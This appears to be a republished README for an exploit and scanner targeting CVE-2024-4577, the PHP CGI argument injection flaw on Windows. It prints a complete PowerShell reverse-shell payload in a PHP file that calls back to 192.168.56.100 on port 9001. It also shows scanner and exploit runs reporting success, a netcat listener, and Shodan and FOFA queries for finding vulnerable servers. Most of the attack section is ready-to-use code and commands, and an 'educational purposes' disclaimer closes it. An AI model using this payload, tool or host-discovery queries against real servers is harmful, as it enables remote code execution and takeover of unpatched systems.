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CVE-2024-4577-RCE

PoC - PHP CGI Argument Injection CVE-2024-4577 (Scanner and Exploit)

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PHP CGI Argument Injection (CVE-2024-4577) RCE

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📜 Description

In PHP versions 8.1.* before 8.1.29, 8.2.* before 8.2.20, 8.3.* before 8.3.8, when using Apache and PHP-CGI on Windows, if the system is set up to use certain code pages, Windows may use "Best-Fit" behavior to replace characters in command line given to Win32 API functions. PHP CGI module may misinterpret those characters as PHP options, which may allow a malicious user to pass options to PHP binary being run, and thus reveal the source code of scripts, run arbitrary PHP code on the server, etc.

"XAMPP is vulnerable in a default configuration, and we can target the /php-cgi/php-cgi.exe endpoint. To target an explicit .php endpoint (e.g. /index.php), the server must be configured to run PHP scripts in CGI mode."

📚 Table of Contents

  • 📜 Description
  • 🛠️ Installation
  • ⚙️ Usage
  • 💁 References

🛠️ Installation

root@kitploit:~
$ git clone https://github.com/l0n3m4n/CVE-2024-4577-RCE.git
$ cd CVE-2024-4577-RCE && pip install -r requirements.txt 

⚙️ Usage

php-cge

🤖 Establishing reverse shell

PHP Payload

[!NOTE] This tool demonstrates realistic attack and techniques (TTPs). However this specific payload sample does not function in this scenario. Modify the shell.php to obtain fully functional payload.

root@kitploit:~
# rev_shell.php
<?php
$payload = "powershell -c \"\$client = New-Object System.Net.Sockets.TCPClient('192.168.56.100', 9001);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\";

exec($payload);
?>
 

🖥️ Scanning server

root@kitploit:~
$ python3 CVE-2024-4577.py -s -t https://target.com/  
                                                   
 _____ _____ _____ _____ _____ _____                 _____       _         _   
|  _  |  |  |  _  |     |   __|     |___ ___ ___ ___|     |___  |_|___ ___| |_ 
|   __|     |   __|   --|  |  |-   -|___| .'|  _| . |-   -|   | | | -_|  _|  _|
|__|  |__|__|__|  |_____|_____|_____|   |__,|_| |_  |_____|_|_|_| |___|___|_|  
                                                |___|         |___|            
        Author: l0n3m4n | CVE-2024-4577 | PoC and Scanner                      
    
[+] Target https://target.com is vulnerable to CVE-2024-4577

🎯 Exploiting Vulnerable server

root@kitploit:~
$ python3 CVE-2024-4577.py -t http://example.com -e -p rev_shell.php
                                                   
 _____ _____ _____ _____ _____ _____                 _____       _         _   
|  _  |  |  |  _  |     |   __|     |___ ___ ___ ___|     |___  |_|___ ___| |_ 
|   __|     |   __|   --|  |  |-   -|___| .'|  _| . |-   -|   | | | -_|  _|  _|
|__|  |__|__|__|  |_____|_____|_____|   |__,|_| |_  |_____|_|_|_| |___|___|_|  
                                                |___|         |___|            
        Author: l0n3m4n | CVE-2024-4577 | PoC and Scanner  

[+] Exploit successful!

👨🏻‍💻 Netcat Listener

root@kitploit:~
$ nc -lvnp 9001

🔍 Discovering vulnerable host

  • Shodan: server: PHP 8.1, server: PHP 8.2, server: PHP 8.3
  • FOFA: protocol="http" && header="X-Powered-By: PHP/8.1" || header="X-Powered-By: PHP/8.2" || header="X-Powered-By: PHP/8.3"

💁 References

  • https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577
  • https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2024/CVE-2024-4577.yaml
  • http://www.openwall.com/lists/oss-security/2024/06/07/1
  • https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/windows/http/php_cgi_arg_injection_rce_cve_2024_4577.rb
  • https://www.php.net/ChangeLog-8.php#8.1.29
  • https://www.php.net/ChangeLog-8.php#8.2.20
  • https://www.php.net/ChangeLog-8.php#8.3.8

⚠️ Disclaimer

This tool is provided for educational and research purposes only. The creator assumes no responsibility for any misuse or damage caused by the tool. create issue

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